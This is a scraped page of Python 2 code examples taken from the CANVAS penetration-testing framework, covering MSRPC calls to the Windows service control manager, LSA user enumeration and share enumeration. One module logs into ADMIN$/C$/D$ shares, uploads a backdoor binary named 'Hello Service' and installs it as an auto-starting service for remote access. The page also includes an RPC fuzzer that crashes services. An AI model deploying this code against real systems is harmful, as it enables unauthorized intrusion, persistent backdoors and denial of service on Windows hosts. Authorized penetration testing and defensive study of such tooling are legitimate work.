예제 #1
0
    def EnumServicesStatusEx(self,size=0x2c):
        '''
/* opcode: 0x2A, address: 0x010145D5 */

long  _REnumServicesStatusExW (
 [in][context_handle] void * arg_1,
 [in] /* enum32 */ long arg_2,
 [in] long arg_3,
 [in] long arg_4,
 [out][size_is(arg_6)] char * arg_5,
 [in][range(0,262144)] long arg_6,
 [out] long * arg_7,
 [out] long * arg_8,
 [in, out][unique] long * arg_9,
 [in][unique][string] wchar_t * arg_10
);
        '''
        data=''
        data+=self.SChandle          #hSCManager
        data+=struct.pack('<L',0)    #SC_ENUM_PROCESS_INFO
        data+=struct.pack('<L',0x30) #SERVICE_WIN32
        data+=struct.pack('<L',3)    #SERVICE_STATE_ALL
        data+=struct.pack('<L',size)
        data+=struct.pack('<L',1)    #[unique]
        data+=struct.pack('<LL',0,0)
        try:
            ret=get_all_stubs(self.myDCE.call(0x2a,data,response=1)) #_REnumServicesStatusExW
        except Exception, msg:
            self.log('Could not call MSRPC Function: %s'%(msg))
            return False
예제 #2
0
 def DeleteService(self,handle):
     """
     Calls DeleteService remotely on a host - but of course, requires that self.myDCE is already set up...
     """
     pkt=self.DeleteServicePkt(handle)
     self.log("DeleteService sending %d bytes"%len(pkt))
     ret=self.myDCE.call(2, pkt, response=1)
     ret=self.parseStartServicePkt(msrpc.get_all_stubs(ret))
     return ret
예제 #3
0
 def CloseServiceHandle(self,handle):
     """
     Calls CloseServiceHandle remotely on a host - but of course, requires that self.myDCE is already set up...
     """
     pkt=self.CloseServiceHandlePkt(handle)
     self.log("CloseServiceHandle sending %d bytes"%len(pkt))
     ret = self.myDCE.call(0, pkt, response=1)
     #get result
     #parse result
     ret=self.parseCloseServiceHandlePkt(msrpc.get_all_stubs(ret))
     return ret
예제 #4
0
 def StopService(self,handle):
     """
     Calls ConrolService with SERVICE_CONTROL_STOP remotely on a host - but of course, requires that self.myDCE is already set up...
     """
     pkt=self.ControlServicePkt(handle,1) # SERVICE_CONTROL_STOP=0x00000001
     self.log("StopService sending %d bytes"%len(pkt))
     ret = self.myDCE.call(1, pkt, response=1)
     #get result
     #parse result
     ret=self.parseStartServicePkt(msrpc.get_all_stubs(ret))
     return ret
예제 #5
0
 def StartService(self,handle):
     """
     Calls OpenServiceW remotely on a host - but of course, requires that self.myDCE is already set up...
     """
     pkt=self.StartServicePkt(handle)
     self.log("StartService sending %d bytes"%len(pkt))
     ret = self.myDCE.call(19, pkt, response=1)
     #get result
     #parse result
     ret=self.parseStartServicePkt(msrpc.get_all_stubs(ret))
     return ret
예제 #6
0
 def get_pp_size(self):
     """
     This is called first, and we get the size of the data block we need to send
     and set it in self.datasize
     """
     self.log("Getting the size needed for our printer buffer")
     pkt=self.createEnumPkt(0)
     ret=0
     try:
         ret=msrpc.get_all_stubs(self.myDCE.call(0, pkt, response=1))
     except Exception, msg:
         self.log("Could not call MSRPC Function: %s" % msg)
예제 #7
0
 def OpenService(self,scm,servicename,access):
     """
     Calls OpenServiceW remotely on a host - but of course, requires that self.myDCE is already set up...
     """
     pkt=self.OpenServiceWPkt(scm,servicename,access)
     self.log("OpenServiceW sending %d bytes"%len(pkt))
     #send to function_10
     ret = self.myDCE.call(0x10, pkt, response=1)
     #get result
     #parse result
     ret,handler=self.parseOpenServicePkt(msrpc.get_all_stubs(ret))
     return ret,handler
예제 #8
0
 def CreateService(self,scm,servicename,displayname,desiredaccess,atype,starttype,errorcontrol,binarypath,loadorder,dependancies,servicesstartname,password):
     """
     host is the host to connect to
     scm is the string for our scm pointer
     """
     #the SCM value is specific to a connection...so you can't reconnect here
     pkt=self.createCreateServicePkt(scm,servicename,displayname,desiredaccess,atype,starttype,errorcontrol,binarypath,loadorder,dependancies,servicesstartname,password)
     self.log("CreateService sending %d bytes"%len(pkt))
     #send to function_0b
     ret = self.myDCE.call(12, pkt, response=1)
     #get result
     #parse result
     error=self.parseCreateServicePkt(msrpc.get_all_stubs(ret))
     return error
예제 #9
0
파일: userenum.py 프로젝트: tsondt/Canvas
    def LsaOpenPolicy(self, access_mask=None):
        """
        Open the policy on the remote system and return True if success
        """

        if access_mask == None:
            access_mask = 0x20801
        data = ""
        data += intel_order(0) * 7
        data += intel_order(access_mask)
        try:
            ret = msrpc.get_all_stubs(self.myDCE.call(6, data, response=1))
        except Exception, msg:
            self.log("Could not call MSRPC Function: %s" % msg)
            return False
예제 #10
0
파일: userenum.py 프로젝트: tsondt/Canvas
    def getLoggedInUsers(self, osstr):
        """
        Get the logged in users instead of all the users using wksvc
        """
        userlist = []
        if "Windows" in osstr:
            self.log("Windows found, using wksvc to enumerate users")
            #connect to named pipe
            #bind to RPC server

            # when you have to add a custom port: "ncacn_ip_tcp:%s[1060]"% (self.target.interface)
            connectionList = [
                "ncacn_np:%s[\\browser]" % (self.target.interface)
            ]
            if self.customport:
                connectionList = [
                    "ncacn_ip_tcp:%s[%d]" %
                    (self.target.interface, self.customport)
                ] + connectionList
            self.myDCE = msrpc.DCE("6bffd098-a112-3610-9833-46c3f87e345a",
                                   "1.0",
                                   connectionList,
                                   covertness=self.covertness,
                                   getsock=self)
            self.myDCE.setUsername(self.user)
            self.myDCE.setPassword(self.password)
            self.log("Setting username and password to %s:%s" %
                     (self.user, self.password))
            try:
                map = self.myDCE.connect()
                if not map:
                    self.raiseError(
                        "Could not connect to remote server - service is not running or the host is firewalled."
                    )
            except Exception, msg:
                self.log(msg)
                return 0

            pkt = self.createEnumPkt()
            #send to function_02
            ret = 0
            try:
                ret = msrpc.get_all_stubs(self.myDCE.call(2, pkt, response=1))
            except Exception, msg:
                self.log("Could not call MSRPC Function: %s" % msg)
예제 #11
0
    def OpenSCManager(self):
        '''
/* opcode: 0x0F, address: 0x01002A50 */

long  _ROpenSCManagerW (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in] long arg_3,
 [out][context_handle] void ** arg_4
);
        '''
        data=''
        data+=struct.pack('<LL',0,0)
        data+=struct.pack('<L',4) #SC_MANAGER_ENUMERATE_SERVICE
        try:
            ret=get_all_stubs(self.myDCE.call(0xf,data,response=1)) #_ROpenSCManagerW
        except Exception, msg:
            self.log('Could not call MSRPC Function: %s'%(msg))
            return False
예제 #12
0
파일: userenum.py 프로젝트: tsondt/Canvas
 def LsaQueryInformationPolicy(self):
     """
     Gets the domain SID, which we need to create account SID's
     """
     data = ""
     #[in] policy_handle *policy;
     data += self.policy
     #[in] uint16 level;
     data += intel_order(5)  #PolicyAccountDomainInformation
     """
     typedef struct _POLICY_ACCOUNT_DOMAIN_INFO {
     LSA_UNICODE_STRING DomainName;
     PSID * DomainSid;
     }
     """
     try:
         ret = msrpc.get_all_stubs(self.myDCE.call(7, data, response=1))
     except Exception, msg:
         self.log("Could not call MSRPC Function: %s" % msg)
         return False
예제 #13
0
파일: userenum.py 프로젝트: tsondt/Canvas
    def LsaLookupSid(self, rid):
        """
                NTSTATUS lsa_LookupSids (
                [in]         policy_handle *handle,
                [in]         lsa_SidArray *sids,
                [out,unique]        lsa_RefDomainList *domains,
                [in,out]     lsa_TransNameArray *names,
                [in]         uint16 level,
                [in,out] uint32 *count
                );
        """
        data = ""
        data += self.policy
        #array of LSA data
        data += intel_order(1)
        data += intel_order(0x31424322)  #pointer
        data += intel_order(1)  #max count
        data += intel_order(0x31424344)  #pointer 2
        data += intel_order(len(self.domain_sid.sub_authorities) +
                            1)  #count (Number of authorities)
        #ndrConformantStructureUnmarshall
        data += self.domain_sid.tostr(rid)
        #names
        data += intel_order(0)  #names
        data += intel_order(0)  #more names (referent id)
        #data+=intel_order(0) #only if refid !=0

        data += intel_order(1)  #level (16 bits)
        data += intel_order(0)  #num mapped
        #if lookupsids2:
        data += intel_order(0)  #num mapped
        data += intel_order(2)  #num mapped

        userlist = []
        try:
            #calling LookupSids2 == 57
            #calling LookupSids == 0xf
            ret = msrpc.get_all_stubs(self.myDCE.call(57, data, response=1))
        except Exception, msg:
            self.log("Could not call MSRPC Function: %s" % msg)
            return False
예제 #14
0
    def StartService(self,handle):
        """
        Calls OpenServiceW remotely on a host - but of course, requires that self.myDCE is already set up...
        returns 0 if we timeout and can't tell that it worked
        """
        pkt = self.StartServicePkt(handle)

        self.log("StartService sending %d bytes"%len(pkt))
        
        try:
            ret = msrpc.get_all_stubs(self.myDCE.call(19, pkt, response=1))
        except:
            self.log("Timed out while starting the service...this is common")
            ret = ""

        if ret:
            ret = self.parseStartServicePkt(ret)
        else:
            ret = 0

        return ret
예제 #15
0
class theexploit(tcpexploit):
    def __init__(self):
        tcpexploit.__init__(self)
        self.version                = 0
        self.host                   = ""
        self.port                   = 5555
        self.name                   = NAME
        self.destdir                = {}
        self.destdir["win32"]       = "%SYSTEMROOT%"
        self.sourceDict             = {}
        self.sourceDict["win32"]    = "backdoors/mosdefservice.exe"
        self.binaryName             = "mosdefservice.exe"
        self.serviceName            = "helloservice"
        self.displayName            = "Hello Service"
        self.killantispyware        = 0
        self.ignoreantispyware      = 0
        self.msrpcuser              = "******"
        self.msrpcpassword          = "******"
        self.domain                 = ""
        return
    
    def test(self):
        self.host = self.target.interface
        self.port = int(self.argsDict.get("port",self.port))
        s = self.connectTo(self.host,self.port)
        if s:
            self.log("Something is already listening on that port!")
            return 0 
        return 1

    def getargs(self):
        self.host               = self.target.interface 
        self.port               = int(self.argsDict.get("port", self.port))
        self.displayName        = self.argsDict.get("displayName",self.displayName)
        self.serviceName        = self.argsDict.get("serviceName",self.serviceName)
        self.binaryName         = self.argsDict.get("binaryName",self.binaryName)
        self.ignoreantispyware  = self.argsDict.get("ignoreantispyware",self.ignoreantispyware)
        self.killantispyware    = self.argsDict.get("killantispyware",self.killantispyware)
        self.password           = self.argsDict.get("password", self.password)
        self.msrpcuser          = self.argsDict.get("msrpcuser", self.msrpcuser)
        self.msrpcpassword      = self.argsDict.get("msrpcpassword", self.msrpcpassword)
        self.domain             = self.argsDict.get("domain",self.domain)
        return
    
    def run(self):
        self.getargs()

        if self.serviceName.count(" "):
            self.log("Service Name can't have spaces!")
            return 0

        self.password = self.password[:32] #32 bytes long always
        self.password = stroverwrite("\x00"*32,self.password,0) #pad to 32 bytes of zeros

        self.log("Using password: %s" % prettyprint(self.password))

        node    = self.argsDict["passednodes"][0]
        s       = self.gettcpsock()
        try:
            ret = s.connect((self.host,self.port))
        except:
            # timed out, or socket.error
            ret = -1

            # hmm, win32 is going to bite us here. We really want to differentiate
            # a TIMEOUT exception from a connection refused exception...
            
        self.log("Socket connect on node %s returned: %s"%(node.getname(), ret))

        if ret != -1:
            self.log("Node %s has port %d already in use"%(node.getname(), self.port))
            return 0

        nodeos = "win32"
        
        self.log("Using Windows MOSDEF Service")
        self.log("Trying to log into ADMIN$/C/D file share")

        vfs = None
        for sharename in ["ADMIN$","C$","D$"]:
            vfs = self.exploitnodes("smbclient",[node],{"password":self.msrpcpassword,"user":self.msrpcuser, "filename": sharename, "domain": self.domain})
            if len(vfs):
                if len(vfs[0]):
                    vfs = vfs[0][0]
                else:
                    self.log("Failed to get into that file share...")
                    vfs = None
                    continue

            self.log("VFS=%s"%vfs)

            if vfs:
                self.log("We managed to get into a share on %s!"%self.host)
                self.log("Sharename: %s Username: %s Password: %s"%(sharename,self.msrpcuser,self.msrpcpassword))
                break

        if not vfs:
            self.log("Failed: Could not get into a share to upload our file!")
            return 0
            
        # now we need to transform our input file such that it uses the new port
        sourcefile  = self.sourceDict[nodeos]
        data        = file(sourcefile,"rb").read()

        # replace push 5555 with push self.port
        self.log("Using port %d for MOSDEFService"%self.port)
        data                = data.replace(mosdef.assemble("push $5555", "X86"), mosdef.assemble("push $%d"%self.port, "X86"))
        oldpassword         = "******"*16 + "B"*16
        data                = data.replace(oldpassword, self.password)
        modified_sourcefile = sourcefile+".port_%d"%self.port
        outfd               = file(modified_sourcefile,"wb+")
        outfd.write(data)
        outfd.close()

        # now we've written to modified_sourcefile, so we need to use that as our upload src
        upload = self.engine.getModuleExploit("upload")

        self.log("Uploading with VFS: %s" % vfs)

        upload.link(self, nodes=[vfs])
        upload.argsDict["source"]       = modified_sourcefile
        upload.argsDict["destfilename"] = self.binaryName
        
        self.log("Uploading file %s to %s"%(modified_sourcefile,self.binaryName))
        
        ret = upload.run()
        self.log("upload.result: %s"%ret)
        if not ret:
            self.log("Could not upload file!")
            return 0
            
        self.log("We were able to upload the file and now we must create a new service that points to it")
            
        ret = self.OpenSCManager(self.host,access=SC_MANAGER_CREATE_SERVICE)
        if not ret:
            self.log("Was unable to open SCManager")
            return 0

        scm             = ret
        servicename     = self.serviceName
        displayname     = self.displayName
        desiredaccess   = SERVICE_ALL_ACCESS
        atype           = SERVICE_WIN32_OWN_PROCESS
        errorcontrol    = SERVICE_ERROR_IGNORE
        binarypath      = self.binaryName
        #SERVICE_BOOT_START will cause an invalid parameter error, dunno why
        starttype       = SERVICE_AUTO_START

        if sharename == "ADMIN$":
            binarypath = "%SYSTEMROOT%\\"+binarypath
        else:
            binarypath = sharename[0]+"\\"+binarypath
                
        loadorder           = 0
        dependancies        = None
        servicesstartname   = self.serviceName
        password            = None

        self.log("ServiceName=%s DisplayName=%s BinaryPath=%s"%(self.serviceName,displayname,binarypath))
        
        ret = self.CreateService(scm,servicename,displayname,desiredaccess,atype,starttype,errorcontrol,binarypath,loadorder,dependancies,servicesstartname,password)
        if ret not in [0,0x431]: #service created/service already existed
            self.log("Was unable to call CreateService")
            return 0

        self.log("Called create service successfully: %x"%ret)
            
        #locally I don't believe we need to open the service, since
        #we already have a handle to it...
        #but remotely I'm not sure - so we'll call OpenService
        ret,handler = self.OpenService(scm,servicename,SERVICE_ALL_ACCESS) 
        if ret not in [0]:
            self.log("Was unable to call OpenService!")
            return 0
            
        # so let's just start it up!
        # self.log("Handler=%s"%prettyhexprint(handler))
        ret = self.StartService(handler)

        self.log("StartService returned %x " % ret)
        
        if ret == 0:
            self.log("Successfully installed and started the MOSDEF service.")
        else:
            self.log("There was an error starting the MOSDEF service.")
            self.log("Error 5 is 'access denied' but typically means that for some reason the file did not run properly. For example, it may be truncated or corrupted!")
           
        ret = self.CloseServiceHandle(handler)           
        ret = self.CloseServiceHandle(scm)
                           
        return 1


    ################## 
    ### MSRPC Routines
    ##################
    
    from win32MosdefShellServer import GENERIC_READ
    def createOpenSCMPkt(self, machinename=None, databasename=None, accessmask=GENERIC_READ):
        marshaller  = dcemarshaller()
        data        = ""
        data        += wchar_t(machinename,["unique"],marshaller).marshall()
        data        += wchar_t(databasename,["unique"],marshaller).marshall()
        data        += dceint(accessmask,[],marshaller).marshall() 
        return data
    
    def parseOpenSCMPkt(self, buf):
        """
        parses the buffer sent back to use by the msrpc server 
        """

        # 4 bytes of pointer data (null? wth?)
        # then 16 bytes of policy handle data
        policyhandle    = buf[0:20]
        returnvalue     = istr2int(buf[20:24])

        # returns 0 on success
        if returnvalue != 0:
            success = 0
            self.log("parseOpenSCMPkt return value not 0!: %x" % returnvalue)
            if returnvalue == 0x6e5:
                self.log("Could not impersonate user for some reason")
        else:
            success = 1
        return success,policyhandle
        
    def OpenSCManager(self, host, access=0):
        """
        opens a remote Service Control Manager
        Returns 0 on failure
        
        On Windows 2000 this will connect to services.exe, which will then
        call OpenSCManager for you. Actually it doesn't call the routine
        itself. It appears to call some other routine internally that does the
        real work. So you can't breakpoint on OpenSCManager or CreateServiceW
        (sorry)
        
        If you breakpoint on OpenSCManager, and you aren't seeing it get called, then that's normal.

        Try breakpointing on RPCImpersonateClient and seeing what is
        going on there. 
        
        """
        self.log("Using msrpcuser: %s msrpcpassword: %s"%(self.msrpcuser,self.msrpcpassword))
        connectionList  = ["ncacn_np:%s[\\svcctl]"% (host)]
        self.myDCE      = msrpc.DCE("367abb81-9844-35f1-ad32-98f038001003", "2.0", connectionList, covertness = self.covertness, getsock=self)
        self.myDCE.setUsername(self.msrpcuser)
        self.myDCE.setPassword(self.msrpcpassword)
        self.myDCE.setDomain(self.domain)
        
        try:
            map = self.myDCE.connect()
            if not map:
                self.raiseError("Could not connect to remote server - service is not running or the host is firewalled.")
        except Exception, msg:
            self.log(msg)	
            return 0

        self.log("Successfully connected to service control manager pipe")
        
        pkt = self.createOpenSCMPkt(accessmask=access)

        self.log("OpenSCManager sending %d bytes"%len(pkt))
        
        # send to function_09
        ret = msrpc.get_all_stubs(self.myDCE.call(15, pkt, response=1))
        
        # get result, parse result
        success,policy_handle = self.parseOpenSCMPkt(ret)
        if not success:
            return ""

        return policy_handle
예제 #16
0
class theexploit(canvasexploit):
    def __init__(self):
        canvasexploit.__init__(self)
        self.result = ""
        self.name = NAME
        self.systemname = "\\\\127.0.0.1"
        return

    def createShareEnumPkt(self):
        """Creates the MSRPC packet for share enumeration"""
        funcidl = """
        
long  Function_0f( [in] [unique]  [string] wchar_t * element_122,
[in,out]  TYPE_16 * element_123,
[in]  long  element_126, /*prefered length?*/
[out]  long * element_127, /*records returned?*/ 
[in,out] [unique]  long * element_128 /*enum handle*/
 );

        """
        tidl = """
 typedef   struct {
  [unique] [string] wchar_t *share_name;
  long share_type;
  [unique] [string] wchar_t *comment;
  /* long element_17; incorrect?!?*/
 } TYPE_6;

typedef   struct {
  long element_18;
  [size_is(element_18)] [unique] TYPE_6 element_13; /*must be null pointer on call*/
 } TYPE_5;

typedef   [switch_type(long)] union {
/*  [case(0)] [unique] TYPE_3 *element_5; */
  [case(1)] [unique] TYPE_5 *element_10;
 } TYPE_2;

typedef   struct {
  long element_124;
  [switch_is(element_124)] TYPE_2 element_125;
 } TYPE_16;

        """
        data = ""
        marshaller = dcemarshaller()
        self.marshaller = marshaller
        marshaller.define(tidl)

        e122 = dcepointer(
            wchar_t(msunistring("\\\\" + self.target.interface), ["[unique]"],
                    marshaller), ["unique"], marshaller)
        e123 = marshaller.getinstance("TYPE_16")
        e123.setmember("element_124", dceint(1, [], marshaller))
        e125 = marshaller.getinstance("TYPE_2")
        e125.switchval = 1
        e123.setmember("element_125", e125)
        e10 = marshaller.getinstance("TYPE_5")
        e125.setmember("element_10", e10)
        e13 = dcepointer(None, [], marshaller)
        e10.setmember("element_18", dceint((0), [], marshaller))
        e10.setmember("element_13", e13)

        e126 = dceint(-1, [], marshaller)
        e128 = dcepointer(dceint((0), [], marshaller), ["unique"], marshaller)

        data += e122.marshall()
        data += e123.marshall()
        data += e126.marshall()
        data += e128.marshall()
        self.log("Sending data of length %d" % len(data))
        #print "data:\n%s"%prettyhexprint(data)

        return data

    def parseEnumPkt(self, buf):
        self.log("parseEnumPkt: Buf length: %d" % len(buf))
        #self.log("parseEnumPkt: \n%s"%prettyhexprint(buf))
        #TYPE_16
        #int records returned
        #enum handler
        marshaller = self.marshaller
        info_level = dceint(amarshall=marshaller)
        buf = info_level.demarshall(buf)
        self.log("Info_levelA=%x" % info_level.value)
        buf = info_level.demarshall(buf)  #union switch selector
        self.log("Info_levelB=%x" % info_level.value)
        num_elements = dceint(amarshall=marshaller)
        i, buf = getint(buf)  #get reference pointer and ignore it
        buf = num_elements.demarshall(buf)
        self.log("Number of elements sent to us: %d" % num_elements.value)

        i, buf = getint(buf)  #get reference pointer and ignore it
        i, buf = getint(buf)  #get size of array and ignore it
        #print "pointers?: %s"%prettyhexprint(buf[:4*num_elements.value] )
        #buf=buf[4*num_elements.value:] #ignore num pointers...
        #self.log("what's left: parseEnumPkt: \n%s"%prettyhexprint(buf))
        davecomment = """
        This is a complex array...meaning pointers are stored and then the data
        they reference is parsed at the end of the array.
        
        So it looks like this:

        structures:
        [<reference>
        <int>
        <reference> ] * Num_ent
        and then a big block of strings (2*num ent, of course)
        """
        buf2 = buf[3 * 4 * num_elements.value:]  #reference only the strings
        #self.log("BUF2: parseEnumPkt: \n%s"%prettyhexprint(buf))
        shares = []
        for e in range(0, num_elements.value):
            newshare = share()
            i, buf = getint(buf)  #pointer to share name
            share.sharetype, buf = getint(buf)
            i, buf = getint(buf)  #pointer to share comment
            newshare.sharename, buf2 = getdcewchar(buf2)
            newshare.comment, buf2 = getdcewchar(buf2)
            #self.log("Found share: %s"%str(newshare))
            shares += [newshare]
        #t16=self.marshaller.getinstance("TYPE_16")
        #buf=t16.demarshall(buf)

        return shares

    def getargs(self):
        #need to revise to use get_knowledge/set_knowledge
        systemname = self.argsDict.get("systemname", self.systemname)
        self.host = self.target.interface
        self.user = self.argsDict.get("user", self.user)
        self.password = self.argsDict.get("password", self.password)
        return

    def get_shares(self, user, password):
        """
        Makes the connection to the remote server and gets the
        shares. This is called twice, once with the typical thing
        and once with bob:None, since XP does a weird thing
        with users and password.
        """
        connectionList = ["ncacn_np:%s[\\browser]" % (self.target.interface)]
        self.myDCE = msrpc.DCE("4b324fc8-1670-01d3-1278-5a47bf6ee188",
                               "3.0",
                               connectionList,
                               covertness=self.covertness,
                               getsock=self)
        devlog('shareenum::run', "myDCE: %s" % self.myDCE)
        self.myDCE.setUsername(user)
        self.myDCE.setPassword(password)
        try:
            devlog('shareenum::run', "myDCE.connect: %s" % self.myDCE.connect)
            map = self.myDCE.connect()
            devlog('shareenum::run', "map: %s" % map)
            if not map:
                self.raiseError(
                    "Could not connect to remote server - service is not running or the host is firewalled."
                )
        except Exception, msg:
            devlog(
                'shareenum::run',
                "Could not connect to remote server (%s): %s" %
                (Exception, msg))
            self.log(msg)
            return 0

        pkt = self.createShareEnumPkt()
        #send to function_02
        ret = msrpc.get_all_stubs(self.myDCE.call(15, pkt, response=1))
        #get result
        #parse result
        sharelist = self.parseEnumPkt(ret)
        return sharelist
예제 #17
0
class svcctlexploit:
    """
    Used for exploits talking to svcctl (service control manager, etc)
    """
    def __init__(self):
        pass
    
    ################## 
    ### MSRPC Routines
    ##################
    

    def createOpenSCMPkt(self,machinename=None,databasename=None,accessmask=GENERIC_READ):
        marshaller=dcemarshaller()
        data=""
        data+=wchar_t(machinename,["unique"],marshaller).marshall()
        data+=wchar_t(databasename,["unique"],marshaller).marshall()
        data+=dceint(accessmask,[],marshaller).marshall() 
        return data
    
    def parseOpenSCMPkt(self,buf):
        """
        parses the buffer sent back to use by the msrpc server 
        """
        #4 bytes of pointer data (null? wth?)
        #then 16 bytes of policy handle data
        policyhandle=buf[0:20]
        returnvalue=istr2int(buf[20:24])
        #returns 0 on success
        if returnvalue!=0:
            success=0
            self.log("parseOpenSCMPkt return value not 0!: %x"%returnvalue)
            if returnvalue==0x6e5:
                self.log("Could not impersonate user for some reason")
        else:
            success=1
        return success,policyhandle
        
    def OpenSCManager(self,host,access=0):
        """
        opens a remote Service Control Manager
        Returns 0 on failure
        
        On Windows 2000 this will connect to services.exe, which will then
        call OpenSCManager for you. Actually it doesn't call the routine
        itself. It appears to call some other routine internally that does the
        real work. So you can't breakpoint on OpenSCManager or CreateServiceW
        (sorry)
        
        If you breakpoint on OpenSCManager, and you aren't seeing it get called, then that's normal.

        Try breakpointing on RPCImpersonateClient and seeing what is
        going on there. 
        
        """
        self.log("Using msrpcuser: %s    msrpcpassword: %s"%(self.msrpcuser,self.msrpcpassword))
        connectionList = ["ncacn_np:%s[\\svcctl]"% (host)]
        self.myDCE = msrpc.DCE("367abb81-9844-35f1-ad32-98f038001003", "2.0", connectionList, covertness = self.covertness, getsock=self)
        self.myDCE.setUsername(self.msrpcuser)
        self.myDCE.setPassword(self.msrpcpassword)
        self.myDCE.setDomain(self.domain)
        
        try:
            map=self.myDCE.connect()
            if not map:
                self.raiseError("Could not connect to remote server - service is not running or the host is firewalled.")
        except Exception, msg:
            self.log(msg)	
            return 0	
        self.log("Successfully connected to service control manager pipe")
        pkt=self.createOpenSCMPkt(accessmask=access)
        self.log("OpenSCManager sending %d bytes"%len(pkt))
        #send to function_09
        ret = self.myDCE.call(15, pkt, response=1)
        #get result
        #parse result
        success,policy_handle=self.parseOpenSCMPkt(msrpc.get_all_stubs(ret))
        if not success:
            return ""
        return policy_handle
예제 #18
0
    def run_on_idl(self):
        """
        Set self.idl and then call this from run()
        """
        rpc = None
        send = True
        opnum = None  #None is default
        context_handle = None  #None is default
        DEBUG = False
        idl = self.idl
        host = self.host
        skip_to_ifid = ""  #"" is default
        start_fuzznum = None  #None is default

        #set the NDR fuzzer object
        ndr.g_fuzz_object = self
        #default strings
        for self.default_string in self.default_strings:
            self.log("Set default string to %s" % repr(self.default_string))
            #default integers
            for self.default_int in self.default_ints:
                self.log("Set default integer to 0x%2.2x" % self.default_int)

                for uuid in idl:
                    self.UUID = uuid.ifid
                    if skip_to_ifid and not self.UUID == skip_to_ifid:
                        continue
                    if skip_to_ifid:
                        skip_to_ifid = ""

                    self.version = uuid.version
                    self.buildConnectionList()
                    self.log("Connectionlist=%s" % self.connectionList)
                    self.log("Connecting as %s:%s" %
                             (self.user, self.password))
                    self.done_with_ifid = False
                    #we'll set below variable when we find out that we both need
                    #a context handle, and know how to get one (using try_to_get_context_handle())
                    self.get_context_handle_opcode = None

                    # We loop through all the opcodes for each uuid the parser gave us
                    for opcode in uuid.opcodes:
                        self.log(
                            "Opcode: %s. Default int: %s Default String: %s" %
                            (str(opcode.opnum), self.default_int,
                             repr(self.default_string)))
                        self.did_connect = False
                        if self.done_with_ifid == True:
                            break
                        #skip some opnums if needed
                        if opnum != None:
                            if opcode.opnum != opnum:
                                continue
                            opnum = None  #reset since we've skipped to it

                        if len(opcode.elements) == 0:
                            self.log("Not doing opcode %d, no elements" %
                                     opcode.opnum)
                            continue
                        self.opcode = opcode
                        self.done_with_opcode = False
                        #fuzznum is which variable to fuzz
                        if start_fuzznum != None:
                            fuzznum = start_fuzznum
                            start_fuzznum = None
                        else:
                            fuzznum = 0
                        self.max_fuzznum = False
                        self.next_fuzz_element = None  #set to 0 to initialize search, set to a number for the next fuzz number

                        while not self.max_fuzznum:
                            self.log("Doing fuzznum: %d" % fuzznum)
                            #here we skip to the next element we're fuzzing if we found one!
                            if self.next_fuzz_element:
                                self.log(
                                    "[*] Skipping to next fuzz element: %d" %
                                    self.next_fuzz_element)
                                fuzznum = self.next_fuzz_element
                                self.next_fuzz_element = None
                            #this will be true if we did not find anything to fuzz in this opcode!
                            if self.next_fuzz_element == 0:
                                self.log(
                                    "[*] Nothing left to fuzz on this opcode!")
                                self.done_with_opcode = True

                            self.fuzznum = fuzznum
                            fuzznum += 1
                            self.done_with_element = False
                            self.total_elements = 0
                            if self.done_with_opcode:
                                break
                            #reset our fuzzer
                            self.reset_fuzzer()
                            while not self.done_with_element:
                                self.log("Doing element fuzz")
                                #first we connect
                                mydce = msrpc.DCE(uuid.ifid, uuid.version,
                                                  self.connectionList)
                                mydce.setUsername(self.user)
                                mydce.setPassword(self.password)

                                self.log("[*] Connecting to ifid: %s" %
                                         uuid.ifid)
                                try:
                                    mydce.connect()
                                except msrpc.DCEException, msg:
                                    self.log(
                                        "[*] Couldn't connect to ifid %s!" %
                                        uuid.ifid)
                                    self.done_with_opcode = True
                                    self.done_with_element = True
                                    self.done_with_ifid = True
                                    if self.did_connect:
                                        self.log(
                                            "[*] Killed service! %s with opcode %s"
                                            % (uuid.ifid, opcode.opnum))
                                        time.sleep(50)
                                    break
                                self.did_connect = True

                                self.log("[*] Connected")

                                self.log("  opcode: %x elements: [%02d]" %
                                         (opcode.opnum, len(opcode.elements)))

                                testpack = ""
                                request = ""

                                if self.get_context_handle_opcode:
                                    self.log("Getting context handle")
                                    default_int, default_string, context_opcode = self.get_context_handle_opcode
                                    context_handle = self.get_context_handle(
                                        default_string, default_int,
                                        context_opcode, uuid)
                                    self.log("Setting context handle to %s" %
                                             repr(context_handle))
                                    opcode.set_context_handle(context_handle)
                                    mydce = self.mydce  #reset this to the same connection we had before when we were getting a context handle

                                #set our flag so we know it's there.
                                #if we for whatever reason don't have any string elements to fuzz
                                #then this will get us out of the loop
                                self.ran_get_fuzz_data = False

                                self.current_element = 0
                                self.second_serialize = False
                                # Again I have to pass twice because of union dependencies
                                for element in opcode.elements:
                                    if DEBUG:
                                        dump_ndr(element)
                                    try:
                                        #self.log("DEBUG: element.serialize called on %s"%str(element))
                                        testpack += element.serialize()
                                    except:
                                        self.log(
                                            "[*] Serialization bug! Look into this later"
                                        )
                                        self.done_with_opcode = True
                                        self.done_with_element = True
                                        break
                                #self.log("DEBUG: Done with pass 1")
                                if self.done_with_element:
                                    self.log("Done with this element...")
                                    continue
                                #reset current_element?
                                # This is all you do to serialize the data for the wire
                                #self.log("Serializing a second time")
                                self.second_serialize = True
                                self.current_element = 0
                                request += opcode.serialize()
                                #self.log("Done with pass 2")
                                if len(request) != len(testpack):
                                    self.log(
                                        "[*] Length of testpack %d length of request %d"
                                        % (len(testpack), len(request)))
                                #self.log("Done serializing"

                                if not self.ran_get_fuzz_data:
                                    #nothing to fuzz!
                                    self.log(
                                        "[*] Nothing to fuzz on this opcode!")
                                    self.done_with_element = True
                                    self.done_with_opcode = True

                                self.log("[*] Sending %s [opcode: %d]" %
                                         (uuid.ifid, opcode.opnum))
                                self.log("[*] Length of Fuzz Request [%s]" %
                                         len(request))
                                #self.log("[*] Request: %s"%print_hex(request))
                                try:
                                    ret = mydce.call(opcode.opnum,
                                                     request,
                                                     response=1)
                                    self.log("[*] Sent - got ret")
                                except msrpc.DCEException, msg:
                                    self.log("[*] Sent - got exception")
                                    if str(msg).count("1c00001a"):
                                        self.log("[*] Need a context handle!")
                                        #this is a tricky thing
                                        #we essentially need to go into the uuid and find
                                        #the routine we can use to get the context handle
                                        #of course, this may require calling it with some sort
                                        #of valid argument, which we can't do
                                        #but we'll try
                                        if self.get_context_handle_opcode == False:
                                            self.log(
                                                "[*] Need context handle, but can't get one"
                                            )
                                            self.done_with_element = True
                                            self.done_with_opcode = True

                                        elif self.get_context_handle_opcode != None:
                                            #in this case, we already had a context handle,
                                            #so we're failing even WITH a context handle, so we bail
                                            self.log(
                                                "[*] Failing even with context handle - bail"
